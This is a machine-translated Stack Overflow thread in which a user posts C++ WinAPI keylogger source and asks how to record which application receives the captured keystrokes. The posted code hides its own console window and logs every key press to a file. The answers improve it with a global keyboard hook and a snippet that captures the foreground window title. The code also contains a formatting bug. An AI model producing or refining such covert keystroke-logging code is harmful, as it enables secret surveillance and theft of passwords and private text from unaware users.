【问题标题】:C++ simple keyloggerC++ 简单的键盘记录器
【发布时间】:2013-03-13 17:49:02
【问题描述】:

我正在尝试使用 WinAPI 在 C++ 中编写一个简单的键盘记录器。有没有办法让用户在哪个应用程序中键入捕获的击键? 到目前为止,这是我的代码:

#include <iostream>
#include <windows.h>
#include <winuser.h>

using namespace std;

int main()
{
    HWND Stealth;
    AllocConsole();
    Stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Stealth,0);
    char i;

while (1)
{
    for(i = 8; i <= 190; i++)
    {
        if (GetAsyncKeyState(i) == -32767)
        {
            FILE *OUTPUT_FILE;
            OUTPUT_FILE = fopen("LOG.txt", "a+");
            int c=static_cast<int>(i);
            fprintf(OUTPUT_FILE, "%s", &c);
            fclose (OUTPUT_FILE);
        }
    }
}
system ("PAUSE");
return 0;
}

【问题讨论】:

  • 总是有GetForegroundWindow
  • 你为什么要让计算机尽可能快地连续打开和关闭同一个文件 182 次?
  • 顺便说一句,现在检查一个键是否按下的正确方法是GetAsyncKeyState(i) &amp; 0x8000
  • 您应该通过SetWindowsHookEx() 使用键盘挂钩来监控键盘活动,而不是在循环中使用GetAsyncKeyState()
  • @Zoidberg:不,它只使用一个线程,所以它最多只会用完一个核心 - 它会执行文件 I/O,所以可能会有一些系统调用、锁和其他东西放慢速度……

标签: c++ winapi keylogger


【解决方案1】:

你想要的是global keyboard hook

全局挂钩监视同一桌面中所有线程的消息 调用线程。特定于线程的钩子仅监视消息 一个单独的线程。全局钩子过程可以在 与调用线程在同一桌面的任何应用程序的上下文, 所以程序必须在一个单独的 DLL 模块中。线程特定的 挂钩过程仅在关联线程的上下文中调用。 如果一个应用程序为它自己的一个安装了一个钩子程序 线程,钩子过程可以在同一个模块中 应用程序的其余代码或在 DLL 中。如果申请 为不同应用程序的线程安装一个钩子程序, 过程必须在 DLL 中。有关信息,请参阅动态链接 图书馆。

【讨论】:

    【解决方案2】:

    因为问题是“有没有办法让用户在哪个应用程序中键入捕获的击键?” 我会说使用 HWND WINAPI GetForegroundWindow(void);

    例如:

    char cWindow[MAX_PATH];
    GetWindowTextA(GetForegroundWindow(), cWindow, sizeof(cWindow));
    

    在 cWindow 中,您可以获得用户正在输入的窗口的标题。

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2023-03-07
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多